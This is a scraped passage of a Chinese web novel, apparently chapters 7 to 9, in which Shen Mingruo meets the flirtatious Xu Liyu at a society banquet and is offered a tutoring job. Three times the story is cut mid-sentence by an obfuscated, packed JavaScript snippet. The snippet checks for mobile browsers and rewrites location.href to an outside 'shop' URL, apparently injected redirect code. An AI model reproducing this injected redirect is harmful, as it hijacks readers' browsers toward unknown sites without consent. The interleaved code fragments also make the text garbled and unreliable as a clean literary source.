d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381390|200199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰冷地与人拉远了距离，悄无声息地往后撤了半步。 可她身处的地方是阳台，并没有太多可以后退的空间，只是半步，便感觉到了晚风带着些许寒意从她身后扑过来，她忽然意识到一件事。 眼前的人紧接着问：“你跟刚才离开的那个小白脸，还有梁家二小姐，你们是什么关系呀？” 沈明若彻底清楚了，“你刚才在偷听。” 这人听出了这句话不是问话，干脆一点头，承认下来，“是啊，你有发现我吗？” 完全没有。 这人是鬼吗？ 沈明若轻轻地瞪了他一眼，说：“确实没发现，只是这位先生，偷听别人说话可不是绅士的做法。” 不知名的人物一摊手，莞尔道：“我可没说我是个绅士。”他说完，又低头看了眼自己的着装，“好吧，我穿的是挺像个绅士的。” 沈明若一开始还没注意到他的衣服，回头的时候，先是看到了一个挺拔的人形，随后所有的目光都汇聚在了他的脸上。 该说不说，这人长得还是挺不错的，虽然不及荣晋生那样精致好看，但这人放在人群中，也是绝对出挑了。 两次相处下来，沈明若觉得……荣晋生还真挺适合做……他现在正在做的事情。 常年待在医馆里的人，难免染上一身药味，配上荣晋生端正无缺的长相，更加深了一份宁静，一副细边眼镜架在鼻梁上，一双含情的眼睛掩在眼镜之后，仿佛随时能涌出多情的载体。 眼镜是易碎的，他似乎也是。 而面前这人，深灰色的西装配上条纹衬衫，本该显得沉稳，却被他穿得有些跳脱，整个人都不受衣服的束缚，仿佛要从躯壳里面挣脱出来一样。 或许是因为胸前那颗珍珠葡萄胸针的点缀，或许这幅面容实在太年轻了，也或许是因为……沈明若认为他此时此刻笑得实在欠打。 可惜沈明若没有冲上去打人的习惯。 她眉间微蹙，开口道：“这位先生……” “等等，”这人忽然打断了她，“别这么叫我，我也是有名字的。我姓徐，徐立玉。” 他说完，半个人靠在墙边，侧着脑袋，好整以暇地看着沈明若，像是在等待什么。 沈明若不管他在等什么，一张嘴，想着打完招呼就撤了，“徐先生，我是跟着别人一起来的，若是长时间让人找不到我，我怕她会担心，先告……” 徐立玉也不管她，再次打断，“你不应该告诉我你叫什么名字吗？” “啊？”沈明若为他的无礼愣了一下，“应该什么？” “这是礼尚往来。” 沈明若可不想有往来。 “我姓沈，来自祁州。”只说了一个开头，沈明若便迈出一个步子，从他身侧走了过去，头也不回地向前。 徐立玉人靠着墙，来不及拦住，也没有追上去，只看着她的背影渐渐走远。 徐立玉抬起头，微微晃了晃，“沈小姐，再会。” 沈明若听见了，却像没听见一样，依旧向前，不搭理他。 走廊尽头出现了另一个倩影，还有人在叫她，“明若，好一点儿了吗？” “好多了……嗯……又不算太好。” …… 后面的话，徐立玉听不清了。 他看着消失在转角处的背影，背影在他眼中，眼睛都是亮晶晶的，好像星星坠入人间了。 徐立玉转头走进阳台，抬头一瞧。 今天可不是个好天气，夜空黑云翻涌，一点星光也没有，但该发光的星星依然在发光，只是一时看不见而已。 8. 第 8 章 沈明若凑近郑宝珍，在她耳边轻声说：“遇见了一个很讨厌的人，偷听我和别人说话。” “是嘛，”郑宝珍半点儿没有停顿，瞬间接话，“那确实很讨厌了。” 她说完，才想起来上楼去接沈明若的时候，远远瞥见的那个人……有些熟悉。 武林徐家的小公子怎么会出现在那里？ 还偷听别人说话？ 郑宝珍心下觉得好笑，徐家的那位公子大概是觉得这场生日场无聊，想找个地方透口气，碰巧撞上了沈明若……和另一个人。 他们刚刚认识没多久，待在一起会说什么？ 郑宝珍忽然愣住了，脚步随之一顿，攀着她胳膊的沈明若被迫往前拽了她一下，又被扯回来，糊涂地问：“怎么了？” 郑宝珍盯着沈明若，眼睫不安稳地颤动着。 她叹了一口气，清理了一下脑袋里多余的念想，才回道：“没事。” 沈明若见她这样，隐隐感觉到什么，犹豫了半秒，什么都没藏住：“是想到荣晋生了吗？” 郑宝珍又愣了一下，嘴角慢慢松开，轻轻地笑起来，“是啊。” 沈明若说：“是在想……我和他说了什么吗？说了什么……” 沈明若竟然一时记不清了，磨了一会儿有些呆滞的脑袋，才想起来，“哦，是说了梁小姐的开场舞，剩下的……我问他……” 沈明若左右看了两眼，再次凑近郑宝珍，压低了声音说：“我问他为什么要依靠梁小姐，他说我没礼貌。” 郑宝珍噗嗤一声笑出来。 沈明若看着她的笑容，又说：“好吧，我说的是有点过分了。” “也没事，你说的都是事实，荣晋生一个人撑不起仁善堂，他今天来参加宴会，就是来寻求梁小姐的帮助。”郑宝珍缓缓道。 “梁小姐好像不太乐意帮他？”沈明若问。 “真不乐意的话，今天就不会邀请他来了。” “仁善堂的危机对于荣家来说是天塌下来都解决不了的大事，但对于梁家来说，不过就是吩咐两句话的功夫。我没记错的话，梁家还有人和卫生部有点儿关系。” 郑宝珍说，“不过今天瑞丰银行的人也来了——我猜，梁二只是想逗一逗荣晋生，等玩完了，还是要和瑞丰银行的人谈正事的。” 沈明若：“什么正事？” “梁家与张家早有婚约，原先定的是梁家的大小姐，奈何那位大小姐心里想着别人，就把婚约推给了二小姐，这位二小姐——喏，她在那里呢！” 郑宝珍本想再跟沈明若说一些梁二小姐从前的事，眼珠子一转，瞥见了梁小姐——正巧，梁小姐也在看她，和她身边的沈明若。 在背后说人家的坏话总是不好的，这话都没说到一半，就撞上正主了。 道理是如此，不过郑宝珍心里嘀咕着：她说的其实也算不得坏话，都是真话。 梁小姐不明意味的目光落在沈明若身上良久。 沈明若注意到了，没什么大反应，只是对着一个陌生人微微一颔首。 郑宝珍有些烦躁，比方才好奇沈明若和荣晋生说了什么的时候还要烦。 她板着一张脸，一个侧身，挡住了一部分视线。 不只是梁小姐的，还有在梁小姐身边的那位，荣晋生。 更是看着不顺眼。 梁小姐晃了晃指尖，示意荣晋生端来一杯酒，她举起酒杯，远远地朝着沈明若碰了一下，然后转身离开了。 荣晋生紧随其后。 沈明若在发呆。 虽然周围的灯光暗了下来，人与人交谈嬉笑的声音也低了许多，但沈明若身在这样的幻境之下，仍旧觉得不舒服。 感觉上比方才好了许多，但无法集中注意力，仿佛脱去了□□，只剩下一副飘飘荡荡的灵魂在人群中游离，难以安定下来。 她甚至没看见梁小姐的动作，只有梁小姐离去时，杯中的酒液晃动，一晃一晃的闪光倒映入眼眸，又有些晕了…… 郑宝珍捏着她的手臂揉了揉，低声道：“是又觉得难受了？” 沈明若的反应慢了半拍，正要一个脑袋点下去，又听见郑宝珍说：“要不要再去楼上休息一会儿？” 沈明若当即改成了摇头，“不用，现在比刚才好多了。” 她可不想回去楼上，又遇见那个没礼貌的家伙。 郑宝珍看着她平静的面容，听着她说话的语调也是平平的，才松懈了一些担忧，“那你紧跟着我，一有哪里不舒服一定要告诉我。” 沈明若点了点头说：“好。” 郑宝珍原本是想着，这一整晚都让沈明若待在二楼休息，等宴会结束了再去叫她，但是中途突然碰上了一个人，生出了一个念头，便又去楼上将沈明若叫了下来。 沈明若一边仔细地在人群中跟着郑宝珍走，一边听她说：“你会教小孩子吗？” “小孩子？” “一个七岁的女孩。你和小孩子相处得融洽吗？”郑宝珍问。 沈明若道：“没怎么和小孩子相处过，我也说不准。” “那就先试试吧，”郑宝珍说，“我给你找了个教小孩子的工作。” “啊？” 沈明若呆住了。 教……小孩子？ 她都不知道要怎么和小孩子相处，更不要说教了。 沈明若：“宝珍小姐，我只被人教过，从来没有教过别人念书的。” 郑宝珍：“不用教多深奥的东西，就是教人认字，能拿工资的，你出去工作了，也不用整日一个人待着无聊了。” 沈明若想了想，心说：“也是。” 郑宝珍又说：“那家的小孩有些特殊，家里的父亲成日在忙生意，母亲身体不好卧病在床，管不了小孩，就想着找个家庭教师。我也想到了你没教过别人，可又觉得你的性格适合这桩事，你一定是能做好的。” 也是奇怪了，都还没决定要去教小孩子，也不清楚要教的是谁，要教什么知识，此时此刻，沈明若忽然紧张起来，捏着手心，追问道：“真的能做好吗？” 郑宝珍回头，对她笑了一下，“真的呀，我相信你的。走吧，我带你先去见一下雇主。” 雇主是个戴着眼镜的中年男人，模样憔悴憨厚，放在宴会上那一群浮光华彩的人群中，倒是能让人一眼认出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381391|200199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可惜沈明若头晕眼花的，几句话说下来，愣是没记住雇主的具体模样，后来又听宝珍小姐说，雇主其实是个年龄不到三十的人，看着显老，是因为那段时间家里出了事儿。 先是生意受到外面战事的影响，接连亏损了许多，后来家里人又出了事，身体好好的老母亲，好好地走在街上，被突然炸开的响声吓到，不仅摔断了腿，人也被吓得浑浑噩噩的不清醒。 他家里还有生病的妻子和孩子。 他想歇一段时间，先安顿了家人，可家里就只有他这么一个钱袋子，现在局势又乱，说不准哪天，钱袋子就漏了，他怎么能歇下来，于是年纪轻轻的，就被还没经历过的岁月染上了风霜的痕迹。 是个可怜的人，一家子都可怜，战事之下都是可怜人。 沈明若也不管自己究竟有多少本事了，先应下了教小孩子的事，有那么一瞬间，她清楚地觉得，自己真的能做好。 两边心房仿佛摩擦的火石，不知不觉间，擦出了一点儿火苗。 不过很快，那点儿火星子就被再次响起的舞曲吹灭了。 冷冷的一回神，身边已经没有郑宝珍的影子了。 沈明若慌张了两三秒，四处张望了两下，一张张人脸迅速在她眼前闪成花白的碎片，言语也是稀碎的，唯有舞曲是清晰的，噔噔噔地响着，让人的脚步都要漂浮起来起舞了。 这样的情况，她怎么找得到人。 知道没了找人的希望，反而异常地平静了下来。 沈明若微微低着脑袋，轻声唤着“宝珍小姐”，穿梭在人堆里。 黯淡暧昧的光线下，有人不小心踩到了她的裙子，她今天穿的裙子是宝珍小姐的，不是特别适合她的尺码，略有些长了。 沈明若捏着裙摆一转身，脚下又是一个不稳，差点儿仰面朝后摔下去，及时被人扶住了。 扶住她的人不是宝珍小姐。 ——沈明若还没转头，光凭着身体接触到一只陌生的手掌的感觉，脑袋里先冒出了这样一句话。 “要小心点啊。” 这声音，是那个很讨厌的人。 沈明若顿时一个激灵，双腿仿佛焕活新生，十分有劲地站稳了，一转身，果然看见了意料之中的那张脸。 这张脸，倒是容易让人记住。 徐立玉松开了她，面对面看着她，微微笑道：“怎么，是和人走丢了吗？” “……”沈明若不答。 徐立玉道：“这里统共也就这么大，说走丢好像有些夸张，该不会——是和你同行的人故意抛弃你了吧？” “你别乱说。”沈明若道。 不是故意抛弃，而是她没有及时跟上郑宝珍，偏偏现下的环境又是她不适应的。 ……但说起来，从离开沈家到现在，也没碰上过一个，她真正适应了的环境。 她没跟上郑宝珍——这样也好，宝珍小姐总有她自己的事情要做，总是带着她一个拖油瓶四处晃荡，算什么？ ——沈明若这样想着，倒吸了一口气，一句话也没说，转身就要离开，蓦地被人捏住了手腕。 与此同时，换了一首舞曲。 9. 第 9 章 一首欢乐热烈的舞曲。 会场的灯光骤然亮起来。 骤然的转变，让在场的一些人都愣了神，没等人回过神来，已经有人融入了舞曲，陀螺似的转悠起来。 紧接着，不知从哪儿爆发出一声欢呼，像是启程前的号角，一声落下，便有更多陀螺从人堆里跃出来，围绕着一起旋转，更加热闹。 沈明若可不喜欢热闹，她从小到大，也没经历过多少热闹。 最热闹的那一次，大概就是在祁州的医院的楼下，于妈硬生生地将她推进人群里，带着她从人群中挤出来，想让她看一眼躺在人群中的那个人，看母亲最后一眼。 可是沈明若偏开了头，没有看。 于妈当时急红了眼睛，力气是有的，可是没有勇气去掰她的脑袋，强迫着让她看一眼。 没看那一眼，沈明若觉得没什么。 死去的那个人已经埋进土里，一动不动了，而她一个活着的人，从前几乎没有走出过家门，如今竟然从祁州来到了明州，路都走到这儿了，她不能让一个死去的人再从土里伸出腐烂僵硬的手，拖拽住她的脚步。 该放下的就要放下，更何况，那也不是一个……特别值得放不下的人。 那是她的母亲。 徐立玉捏着沈明若的手腕，克制地点了点她的手背，“欸？竟然在这里发呆吗？” 沈明若蓦地回神，这才发觉，左眼竟然浮起了一片湿润，她眨了眨眼睛，没驱散掉湿润，反而更加看不清了。 沈明若咕哝着，“没发呆，只是……突然不知道该做什么了……” 这样的热闹，这样的舞曲，都是她不会的。 大概是一个跳到沉醉的人，旋转着从他们身边经过。沈明若挤着身子，避开了跳舞的人，也离徐立玉更远了，顺便一个旋扭，将自己的手腕从徐立玉手中抽了出来。 徐立玉垂眸算了算她与他之间隔开的距离，手掩着唇，偏了一下头。 沈明若从他即将眯起来的眼睛里，判断出他是在笑。 笑什么？ 徐立玉屈指抵了一下嘴唇，调整好了表情，再松开手。他怕他们再一次被跳舞的人冲散了，便主动追了上去，在沈明若还没来得及躲闪的时候，先问她：“那你现在想做什么？” 沈明若被问住，反应的速度也慢了，顺势跌进他给出的问题里，慢慢地回答：“我想……先离开这里。” “好呀。” 事实证明，反应速度慢，是一件极其害人的事情。 沈明若也不太清楚发生了，她就成了提出需求的人，而徐立玉，应下了她的需求，带着她从沸腾的宴会中溜了出去。 他们本来待在舞蹈漩涡的中心，不管是舞蹈的陀螺，还是沉浸在舞曲氛围里的人，都不由自主地向中心转去。 唯有他们二人，破开了漩涡的轨迹，没有技巧地、直直地冲了出去，被冲散的人低声骂了两句。 徐立玉回头，远远地冲人家致歉，脸上却挂着毫无歉意的笑容。 说是离开，也真就是……换了个地方。 梁家的花园离宴会厅很近，还挺听到舞曲在欢快地响着。 一曲结束，切换另一首，优雅地响了一会儿，突然顿住，硬生生地切换了回去。 继续热闹。 从外面看上去，梁家的宴会厅真是像要燃烧了一样。 徐立玉吹着夜晚的凉风，背靠着花园亭子里凉凉的柱子，突然明白了，“原来是梁二自己选的曲，我就说，在场那么多正经人物，怎么偏偏选择那种曲子。” 沈明若坐在亭子的阑干上，渐渐缓和了一路跑过来纷乱的气息，悠悠道：“你是说梁二小姐不正经？” “唉——”徐立玉紧急做了个打住的手势，“我哪有那个意思，我的‘正经’是指在场的那些老家伙，你没瞧见吗？还有人是梳着辫子的，哪能接受得了梁二这么闹腾，也就她有个好父亲了，愣是怎么闹腾都不会有人说什么。” 沈明若忽地想起了她那位已经定下来的雇主。 她的雇主待在里面，若是被迫融入了那阵热闹，更显得可怜了。 沈明若蓦地抬起头，终于想起来关心一下带她离开宴会厅的人，“你能接受得了这样的闹腾吗？” “能啊。”徐立玉说。 “那你喜欢这样的闹腾吗？”沈明若问。 徐立玉刚打算重复上一句话，话悬在嘴边，嘴巴张着吃进了一口凉风，愣是没出声。 他忽然想到一种可能：沈明若这话，是不是有另一重意思？她是不是……在试探他？ 徐立玉闭上了嘴，将一口凉风彻彻底底地咽下去，冷了肠胃，一颗脑袋却是非同一般的火热，似乎他就是点燃了梁家的这把火的源头。 徐立玉装腔作势地咳嗽了两声，脊背抵着亭柱子，挺得笔直，声音都压的低沉了，“不喜欢。” 沈明若闻言，从头到尾将他打量了一通。 这也不像是个不喜欢“闹腾”的人，但也不像是个会委屈自己说谎的人。 她原本是想着，如果徐立玉回答了“喜欢”，那她岂不是打扰了徐立玉享受喜欢的事情，是不是该有一点儿补偿？或者是一份抱歉？ 可徐立玉说“不喜欢”，虽然像是在说话，但他都这么说了，她便当他真的不喜欢。 徐立玉蓦地唤道：“沈明若。” 沈明若下意识应了一声，“嗯。” 片刻后，又是一声：“嗯？” “你怎么知道我的名字？” 她好像只对他说了自己的姓氏。 “宴会上打听来的。”徐立玉说。 可是宴会上也没什么人知道她的全名。 宝珍小姐定然是不会说的，荣晋生……荣晋生知道她的全名吗？ 沈明若不记得自己有没有告诉过荣晋生了，但荣晋生也不大可能会告诉徐立玉……这人该不会实在诓她吧？ 可他又确实知道她的名字。 徐立玉笑道：“在想我是从哪儿打听来的？” “嗯。” “不告诉你。” “……” 沈明若静悄悄地从阑干上站起来，拍了拍衣服，检查了一遍衣服上没沾上污渍，抬脚就要走。 “别走呀。”徐立玉道。 梁家的宴会厅里，舞曲已经放到了第三遍。 徐立玉暗暗“啧”了一声，心里嫌弃梁二不知道变通，一张脸对上沈明若的时候，却是笑眯眯的。 他摆出了自认为最好看的表情，对沈明若做了个邀请的手势，“陪我在这里跳一曲吧。” “在这里？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381392|200199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”沈明若停下脚步，提着裙子，看了看空旷的四周，除了花草作伴，没有旁的点缀了，头顶也没有一盏打光的月亮。 沈明若犹豫了一下，说：“会着凉的吧。” “就跳一会儿。”徐立玉说。 “我不会跳这曲子。”沈明若说。 “没事，”徐立玉说，“我们都已经跑出来了，我们跳我们的，不管它是什么曲子。” 沈明若：“……” 那跳舞的意义是什么呢？ 下一秒，就听见徐立玉说：“就当做是，给我的奖励。” 该来的，还是来的。 沈明若心想：她想躲掉的那份补偿，或是抱歉，最后成为了他口中的“奖励”。 沈明若莫名觉得自己亏了。 其实她可以拒绝徐立玉的，但有些事情一旦思索过，就容易给自己设下限制，做起事情来也束手束脚的。 沈明若束缚着自己，没拒绝徐立玉。 她没有应声，只是慢慢地，将自己的手递了出去。 两只手慢慢靠近，相隔的距离越短，沈明若的速度越慢，徐立玉没忍住，一把将人拉过来，带着她跟上自己的舞步。 跳的是什么舞？ 沈明若没看懂。 好像就是糊里糊涂、乱七八糟地跳了一通，中途还有好几次踩到了徐立玉的脚。 沈明若是跟人学过跳舞，跳得不多，不熟练，但终归是会一点儿的。 然而，徐立玉跳的完全没有章法。 方步，追步，倾斜……紧接着却是一个突进的连步，再转换重心。 沈明若昏呼呼的脑子好不容易清醒了一些，又被这一通连招摇晕了。 她终于找到一个空隙，拍了拍徐立玉的肩膀说：“停。” 徐立玉没在第一时间停下，搂着人的后背，将人压了下去。 沈明若遽然觉得这个动作适合踢人，就抬起了腿。 徐立玉顷刻间收起了动作，收回手的时候甚至看似老实地握起了拳头，两条手臂垂在身侧。 沈明若看着他这副做派，抿了抿唇，没忍住，低声骂了一句：“骗子。” 徐立玉笑道：“我骗你什么了？” 沈明若没答话，想着自己怎么就脑子一抽，要对他有补偿、有抱歉？ 都是多余的想法。 沈明若与他拉开了距离，站在亭子的最边缘，低头又检查了一遍裙子，再匆匆告别，“我们不需要再见面了。” 习习晚风掠过她的裙摆，留下翩然离去的影子。 郑宝珍还在宴会厅等她。沈明若一进屋，便被郑宝珍捉住了，忙问人去哪儿了。 沈明若倒是想如实说，可一时不知该从何说起，今夜的事情……似乎有些迷幻，还有徐立玉那个人，也有些迷幻，所以“不需要再见面了”。 沈明若简单说了一句：“又遇见了那个很讨厌的人。” 郑宝珍知道是徐立玉，也就安心了一些。 他虽然不着调，但也不会做出太出格的事。 沈明若不知道，宴会结束之后，徐立玉回到自己在明州临时的家，一开门便撞上了同样才回家的姐姐，接受了一番拷问，“笑得这么开心，是遇见什么好运了？” 徐立玉说：“是遇见了一个很喜欢的人。”